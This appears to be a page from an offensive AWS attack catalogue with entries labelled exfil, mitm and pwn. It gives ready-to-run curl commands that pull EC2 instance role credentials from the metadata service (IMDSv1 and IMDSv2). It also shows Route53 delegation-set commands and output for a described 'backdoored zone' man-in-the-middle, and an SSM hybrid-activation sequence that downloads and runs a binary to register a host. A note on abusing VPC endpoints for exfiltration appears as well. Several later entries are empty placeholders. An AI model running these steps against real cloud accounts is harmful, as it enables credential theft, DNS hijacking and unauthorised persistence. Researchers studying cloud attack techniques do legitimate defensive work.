cvx-aws-exfil-imdsv1

imdsv1

Context:

  [~]$ #IPv6
[~]$ BOMA_YE="http://[fd00:ec2::254]/latest/meta-data"
[~]$ #IPv4
[~]$ BOMA_YE="http://169.254.169.254/latest/meta-data"
[~]$ curl -X GET "$BOMA_YE/identity-credentials/ec2/security-credentials/ec2-instance" 
  

cvx-aws-exfil-imdsv2

imdsv2

Context:

  [~]$ #IPv6
[~]$ BOMA_YE="http://[fd00:ec2::254]/latest"
[~]$ #IPv4
[~]$ BOMA_YE="http://169.254.169.254/latest"
[~]$ API_TOKEN=`curl -X PUT "$BOMA_YE/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
[~]$ curl -X GET "$BOMA_YE/meta-data/identity-credentials/ec2/security-credentials/ec2-instance" -H "X-aws-ec2-metadata-token: $API_TOKEN"
  

cvx-aws-mitm-r53

[Draft - some AWS changes does not allow the core idea anymore] Legitimate usage: r53_resolver

  [~]$ dig -t SOA ctf.livingoffthecloud.com
...
;; Got answer:
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; QUESTION SECTION:
;ctf.livingoffthecloud.com.	IN	SOA

;; ANSWER SECTION:
ctf.livingoffthecloud.com. 1800	IN	SOA	ns-707.awsdns-24.net. awsdns-hostmaster.amazon.com. 1 7200 900 1209600 86400
...
[~]$ dig -t NS ctf.livingoffthecloud.com
...
;; Got answer:
;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 1

;; QUESTION SECTION:
;ctf.livingoffthecloud.com.	IN	NS

;; ANSWER SECTION:
ctf.livingoffthecloud.com. 1800	IN	NS	ns-92.awsdns-11.com.
ctf.livingoffthecloud.com. 1800	IN	NS	ns-1039.awsdns-01.org.
ctf.livingoffthecloud.com. 1800	IN	NS	ns-1793.awsdns-32.co.uk.
ctf.livingoffthecloud.com. 1800	IN	NS	ns-707.awsdns-24.net.
...
[~]$ dig -t CNAME api.ctf.livingoffthecloud.com
...
;; Got answer:
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; QUESTION SECTION:
;api.ctf.livingoffthecloud.com.	IN	CNAME

;; ANSWER SECTION:
api.ctf.livingoffthecloud.com. 1008 IN	CNAME	cvqufr9swb.execute-api.us-east-1.amazonaws.com.
...
  
  [~]$ aws route53 list-hosted-zones
{
    "HostedZones": [
        {
            "Id": "/hostedzone/Z0377896RJTE74D75VQ8",
            "Name": "ctf.livingoffthecloud.com.",
            "CallerReference": "f7bf2d10-7ce9-4f28-8a5c-a02599b64aec",
            "Config": {
                "Comment": "The ctf dedicated subdomain",
                "PrivateZone": false
            },
            "ResourceRecordSetCount": 3
        }
    ]
}
[~]$ aws route53 list-reusable-delegation-sets
{
    "DelegationSets": [],
    "IsTruncated": false,
    "MaxItems": "100"
}
[~]$ aws route53 create-reusable-delegation-set --caller-reference "cvx" --hosted-zone-id "/hostedzone/Z0377896RJTE74D75VQ8"
{
    "Location": "https://route53.amazonaws.com/2013-04-01/delegationset/N07265441X2TPFMELEFI3",
    "DelegationSet": {
        "Id": "/delegationset/N07265441X2TPFMELEFI3",
        "CallerReference": "cvx",
        "NameServers": [
            "ns-707.awsdns-24.net",
            "ns-1039.awsdns-01.org",
            "ns-92.awsdns-11.com",
            "ns-1793.awsdns-32.co.uk"
        ]
    }
}
[~]$ aws route53 list-reusable-delegation-sets
{
    "DelegationSets": [
        {
            "Id": "/delegationset/N07265441X2TPFMELEFI3",
            "CallerReference": "cvx",
            "NameServers": [
                "ns-707.awsdns-24.net",
                "ns-1039.awsdns-01.org",
                "ns-92.awsdns-11.com",
                "ns-1793.awsdns-32.co.uk"
            ]
        }
    ],
    "IsTruncated": false,
    "MaxItems": "100"
}
  

Man-In-The-Middle: r53_resolver_mitm

Context:

  • Create a backdoored zone with a specoific delegation set but display the old main NameServers as the one displayed on the AWS console/API.
    r53_delegation_set
    Learn more
    r53_delegation_set_association

cvx-aws-exfil-vpce

vpce_exfil

Context:

  • Abusing of the an existance of a VPC endpoint in a Virtual Private Cloud.

Simple Systems Manager (SSM) hybrid activation

  [~]$ REGION="us-east-1"
[~]$ ACTIVATION_ID="XXXXXXXX"
[~]$ ACTIVATION_CODE="YYYYYYYY"
[~]$ #OS="debian"
[~]$ OS="linux"
[~]$ #ARCH="arm"
[~]$ ARCH="amd64"
[~]$ mkdir /tmp/ssm
[~]$ curl "https://amazon-ssm-$REGION.s3.$REGION.amazonaws.com/latest/$OS_$ARCH/ssm-setup-cli" -o /tmp/ssm/ssm-setup-cli
[~]$ sudo chmod +x /tmp/ssm/ssm-setup-cli
[~]$ sudo /tmp/ssm/ssm-setup-cli -register -activation-code "$ACTIVATION_CODE" -activation-id "$ACTIVATION_ID" -region "$REGION"
  

cvx-aws-pwn-idp-ext

Context:

  • Stay tuned.

cvx-aws-pwn-role-ext

Context:

  • Stay tuned.

cvx-aws-pwn-user-ext

Context:

  • Stay tuned.

cvx-aws-pwn-func-pub

Context:

  • Stay tuned.

cvx-aws-pwn-ssm-ext

Context:

  • Stay tuned.